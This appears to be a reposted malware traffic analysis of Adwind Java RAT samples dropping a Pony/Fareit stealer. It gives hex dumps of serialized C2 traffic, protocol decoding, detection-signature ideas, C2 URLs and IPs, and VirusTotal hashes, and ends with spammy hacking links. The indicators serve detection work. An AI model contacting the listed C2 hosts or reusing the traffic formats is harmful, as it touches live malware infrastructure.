00000000  ac ed 00 05                                      ....
    00000000  ac ed 00 05                                      ....
00000004  75 72 00 02 5b 42 ac f3  17 f8 06 08 54 e0 02 00 ur..[B.. ....T...
00000014  00                                               .
00000015  78 70 00 00 03 2a 1f 8b  08 00 00 00 00 00 00 00 xp...*.. ........
00000025  6d 54 dd 8e d3 46 18 1d  12 16 b2 bb 59 40 fc 5d mT...F.. ....Y@.]
00000035  bb 52 2b 71 83 d7 76 1c  3b a1 12 10 58 16 36 2c .R+q..v. ;...X.6,
00000045  14 95 56 1b 24 4b d6 17  7b 9c cc 66 3c e3 ce 8c ..V.$K.. {..f<...
00000055  d7 a6 17 7d 8e 3e 44 1f  a0 12 2f c1 43 f4 b6 ef ...}.>D. ../.C...
00000065  d0 cf 6c 76 1d 2a 22 d9  19 7b be 9f 73 be 73 c6 ..lv.*". .{..s.s.
00000075  7f fd 4b b6 b4 22 77 4f  e1 0c ec d2 30 6e bf 53 ..K.."wO ....0n.S

DB46ADCFAE462E7C475C171FBE66DF82 traffic capture - OSX Lion
00000000  ac ed 00 05                                      ....
    00000000  ac ed 00 05                                      ....
00000004  75 72 00 02 5b 42 ac f3  17 f8 06 08 54 e0 02 00 ur..[B.. ....T...
00000014  00                                               .
00000015  78 70 00 00 03 33 1f 8b  08 00 00 00 00 00 00 00 xp...3.. ........
00000025  75 54 cd 6e db 46 10 de  c8 b5 2d ff 26 c8 1f 7a uT.n.F.. ..-.&..z
00000035  54 0f 45 7b d1 92 5c d1  94 89 02 4d 94 c0 b1 a5 T.E{..\. ...M....
00000045  d8 4d 51 23 89 73 22 56  dc a5 b5 16 b9 cb ec 2e .MQ#.s"V ........

B2856B11FF23D35DA2C9C906C61781BA on Windows XP
00000000  ac ed 00 05                                      ....
    00000000  ac ed 00 05                                      ....
00000004  75 72 00 02 5b 42 ac f3  17 f8 06 08 54 e0 02 00 ur..[B.. ....T...
00000014  00                                               .
00000015  78 70 00 00 03 63 1f 8b  08 00 00 00 00 00 00 00 xp...c.. ........
00000025  6d 54 5d 6e db 46 10 de  48 91 2d db 8a 13 24 41 mT]n.F.. H.-...$A
00000035  fa ca 3e 14 08 0a 84 e6  bf a4 16 68 9a c4 75 1b ..>..... ...h..u.
00000045  c3 6e 0d b8 85 13 80 00  31 22 57 d2 5a e4 ee 76 .n...... 1"W.Z..v

79E9DD35AEF6558461C4B93CD0C55B76 - Windows XP
00000000  ac ed 00 05                                      ....
    00000000  ac ed 00 05                                      ....
00000004  75 72 00 02 5b 42 ac f3  17 f8 06 08 54 e0 02 00 ur..[B.. ....T...
00000014  00                                               .
00000015  78 70 00 00 03 69 1f 8b  08 00 00 00 00 00 00 00 xp...i.. ........
00000025  6d 54 dd 6e db 36 14 66  ed fc 38 89 9b 16 ed d0 mT.n.6.f ..8.....
00000035  de 6a 17 03 8a 01 53 28  d9 92 ed 0d e8 d6 34 71 .j....S( ......4q

00000045  b6 c0 19 02 64 69 3b c0  80 70 2c d1 36 6d 4a 62 ....di;. .p,.6mJb



Serialization Protocol decoding:


The following fields are part of the serialization protocol and are 'benign" and common.

AC ED (¬í) - Java Serialization protocol magic STREAM_MAGIC = (short)0xaced. 
00 05    -  Serialization Version STREAM_VERSION
75    (u) - Specifies that this is a new array - newArray: TC_ARRAY
72          (r) -  Specifies that this is a new class - newClassDesc: TC_CLASSDESC
00 02        - Length of the class name
5B 42 AC F3 17 F8 06 08 54 E0 ([B¬ó.ø..Tà) This is a Serial class name and version identifier section but data appears to be encrypted
02 00   - Is Serializable Flag - SC_SERIALIZABLE 
78 70  (xp)  - some low-level information identifying serialized fields
1f 8b 08 00 00 00 00 00 00 00 - GZIP header as seen in the serialization stream

As you see, all Windows traffic captures have identical fields  following the GZIP stream, while OSX traffic has different data. The jar files that had Pony Downloader payload did not have other OSX malware packaged and I saw no activity on OSX other than calling the C2 and writing to the randomly named timestamp file (e.g VblVc5kEqY.tmp - updating current timestamp in Unix epoch format)

Combination of the Stream Magic exchange, plus all other benign fields in this order will create a usable signature. However, it will be prone to false positives unless you use fields after the GZIP header for OS specific signatures

Another signature can be based on the transfer. jar download as seen below


DB46ADCFAE462E7C475C171FBE66DF82  - downloading fab8de636d6f1ec93eeecaade8b9bc68 
iWimMQLgpsT2624529381479181764.png (seen Transfer.jar in the stream) , which contains 15555.jar in Manifest.mf, which contains 15555.exe (Pony loader) in its' Manfest.mf

IHEAKA _000C297  << IHEAKA is the name of the RAT client, it is different in each infection.

00000000  ac ed 00 05                                      ....
    00000000  ac ed 00 05                                      ....
00000004  77 04                                            w.
00000006  00 00 00 01                                      ....
0000000A  77 15                                            w.
0000000C  00 13 49 48 45 41 4b 41  5f 30 30 30 43 32 39 37 ..IHEAKA _000C297
0000001C  42 41 38 44 41                                   BA8DA
    00000004  77 0e 00 0c 54 72 61 6e  73 66 65 72 2e 6a 61 72 w...Tran sfer.jar
    00000014  7a 00 00 04 00 50 4b 03  04 14 00 08 08 08 00 46 z....PK. .......F
    00000024  0c 71 45 00 00 00 00 00  00 00 00 00 00 00 00 14 .qE..... ........
    00000034  00 04 00 4d 45 54 41 2d  49 4e 46 2f 4d 41 4e 49 ...META- INF/MANI
    00000044  46 45 53 54 2e 4d 46 fe  ca 00 00 4d 8d 4d 0b c2 FEST.MF. ...M.M..

---- snip----

000ABBA0  00 09 00 00 00 31 35 35  35 35 2e 6a 61 72 74 97 .....155 55.jart.
    000ABBB0  43 70 26 8c a2 44 63 db  9c d8 b6 9d 7c b1 6d db Cp&..Dc. ....|.m.
    000ABBC0  c6 c4 b6 6d db b6 6d db  99 d8 76 f2 fe e5 dd bc ...m..m. ..v.....


Pony downloader traffic

 HTTP requests
URL: http://meetngreetindia.com/scala/gate.php
TYPE: POST
USER AGENT: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
URL: http://meetngreetindia.com/scala/gate.php
TYPE: GET
USER AGENT: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
 DNS requests
meetngreetindia.com (50.28.15.25)
 TCP connections
50.28.15.25:80

IP: 50.28.15.25
Decimal: 840699673
Hostname: mahanadi3.ewebguru.net
ISP: Liquid Web
Organization: eWebGuru
State/Region: Michigan
City: Lansing

https://www.virustotal.com/en/ip-address/50.28.15.25/information/




IP-Domain Information
I
DB46ADCFAE462E7C475C171FBE66DF82 paymentadvice.jar 
IP: 204.45.207.40
Decimal: 3425554216
Hostname: 212.clients.instantdedis.com
ISP: FDCservers.net
Country: United States
State/Region: Colorado
City: Denver

meetngreetindia.com (50.28.15.25)
 TCP connections
50.28.15.25:80
Decimal: 840699673
Hostname: mahanadi3.ewebguru.net
ISP: Liquid Web
Organization: eWebGuru
State/Region: Michigan
City: Lansing

II
79E9DD35AEF6558461C4B93CD0C55B76 Purchase order.jar
IP: 38.89.137.248
Decimal: 643402232
Hostname: 38.89.137.248
ISP: Cogent Communications
Country: United States us flag

III
2856B11FF23D35DA2C9C906C61781BA Purchase order.jar
installone.no-ip.biz
IP Address:   185.32.221.17
Country:      Switzerland
Network Name: CH-DATASOURCE-20130812
Owner Name:   Datasource AG
From IP:      185.32.220.0
To IP:        185.32.223.255
Allocated:    Yes
Contact Name: Rolf Tschumi
Address:      mgw online service, Roetihalde 12, CH-8820 Waedenswil
Email:        rolf.tschumi@mgw.ch
Abuse Email:  abuse@softplus.net
   








Virustotal

https://www.virustotal.com/en/file/02d1e6dd2f3eecf809d8cd43b5b49aa76c6f322cf4776d7b190676c5f12d6b45/analysis/SHA256: 02d1e6dd2f3eecf809d8cd43b5b49aa76c6f322cf4776d7b190676c5f12d6b45
MD5 db46adcfae462e7c475c171fbe66df82
SHA1 2b43211053d00147b2cb9847843911c771fd3db4
SHA256 02d1e6dd2f3eecf809d8cd43b5b49aa76c6f322cf4776d7b190676c5f12d6b45
ssdeep3072:VR/6ZQvChcDfJNBOFJKMRXcCqfrCUMBpXOg84WoUeonNTFN:LdvCGJN0FJ1RXcgBpXOjOjSNTFN
File size 128.1 KB ( 131178 bytes )
File type ZIP
Magic literalZip archive data, at least v2.0 to extract
TrID ZIP compressed archive (100.0%)
File name: Payment Advice.jar
Detection ratio: 6 / 54
Analysis date: 2014-11-16 20:58:08 UTC ( 1 day, 4 hours ago )
Ikarus Trojan.Java.Adwind 20141116
TrendMicro JAVA_ADWIND.XXO 20141116
TrendMicro-HouseCall JAVA_ADWIND.XXO 20141116
DrWeb Java.Adwind.3 20141116
Kaspersky HEUR:Trojan.Java.Generic 20141116
ESET-NOD32 a variant of Java/Adwind.T 20141116

https://www.virustotal.com/en/file/733c037f886d91b6874ac4a2de5b32ca1e7f7f992928b01579b76603b233110c/analysis/1416194595/
SHA256: 733c037f886d91b6874ac4a2de5b32ca1e7f7f992928b01579b76603b233110c
MD5 fab8de636d6f1ec93eeecaade8b9bc68
File name: iWimMQLgpsT2624529381479181764.png
Detection ratio: 23 / 53
Analysis date: 2014-11-17 03:23:15 UTC ( 0 minutes ago )
AVG Zbot.URE 20141116
Qihoo-360 Win32/Trojan.fff 20141117
ESET-NOD32 Win32/PSW.Fareit.A 20141117
Fortinet W32/Inject.SXVW!tr 20141117
Antiy-AVL Trojan[PSW]/Win32.Tepfer 20141117
AVware Trojan.Win32.Generic!BT 20141117
DrWeb Trojan.PWS.Stealer.13319 20141117
Symantec Trojan.Maljava 20141117
McAfee RDN/Generic Exploit!1m3 20141117
McAfee-GW-Edition RDN/Generic Exploit!1m3 20141117
Sophos Mal/JavaJar-A 20141117
Avast Java:Malware-gen [Trj] 20141117
Cyren Java/Agent.KS 20141117
F-Prot Java/Agent.KS 20141117
Kaspersky HEUR:Trojan.Java.Generic 20141117
Emsisoft Gen:Variant.Kazy.494557 (B) 20141117
Ad-Aware Gen:Variant.Kazy.494557 20141117
BitDefender Gen:Variant.Kazy.494557 20141117
F-Secure Gen:Variant.Kazy.494557 20141116
GData Gen:Variant.Kazy.494557 20141117
MicroWorld-eScan Gen:Variant.Kazy.494557 20141117
Ikarus Exploit.Java.Agent 20141117
Norman Adwind.E 20141116

https://www.virustotal.com/en/file/91d71b06c99fe25271ba19c1c47c2d1ba85e78c2d7d5ae74e97417dc958dc725/analysis/
MD5 b5e7cd42b45f8670adaf96bbca5ae2d0
SHA256: 91d71b06c99fe25271ba19c1c47c2d1ba85e78c2d7d5ae74e97417dc958dc725
File name: asdqw4727319084772952101234.exe
Detection ratio: 12 / 54
Analysis date: 2014-11-17 03:21:30 UTC
AVG Zbot.URE 20141116
AVware Trojan.Win32.Generic!BT 20141117
Ad-Aware Gen:Variant.Kazy.494557 20141117
Antiy-AVL Trojan[PSW]/Win32.Tepfer 20141116
BitDefender Gen:Variant.Kazy.494557 20141117
DrWeb Trojan.PWS.Stealer.13319 20141117
ESET-NOD32 Win32/PSW.Fareit.A 20141117
Emsisoft Gen:Variant.Kazy.494557 (B) 20141117
F-Secure Gen:Variant.Kazy.494557 20141116
GData Gen:Variant.Kazy.494557 20141117
MicroWorld-eScan Gen:Variant.Kazy.494557 20141117
Qihoo-360 Win32/Trojan.fff 20141117




Related links
  1. Hacking For Dummies
  2. Hacking Etico Curso Gratis
  3. Hacking Language
  4. Como Empezar A Hackear
  5. Hacking Etico 101 Pdf
  6. Hacking Social
  7. Javascript Hacking
  8. Growth Hacking Courses
  9. Wifi Hacking App
  10. Growth Hacking Marketing

Archivo del blog

Con la tecnología de Blogger.

Disqus for La Franquicia de los Servicios a las Personas

wibiya widget

Directorio Blogs

Directorio de Blogs

Suscribirse ahora standard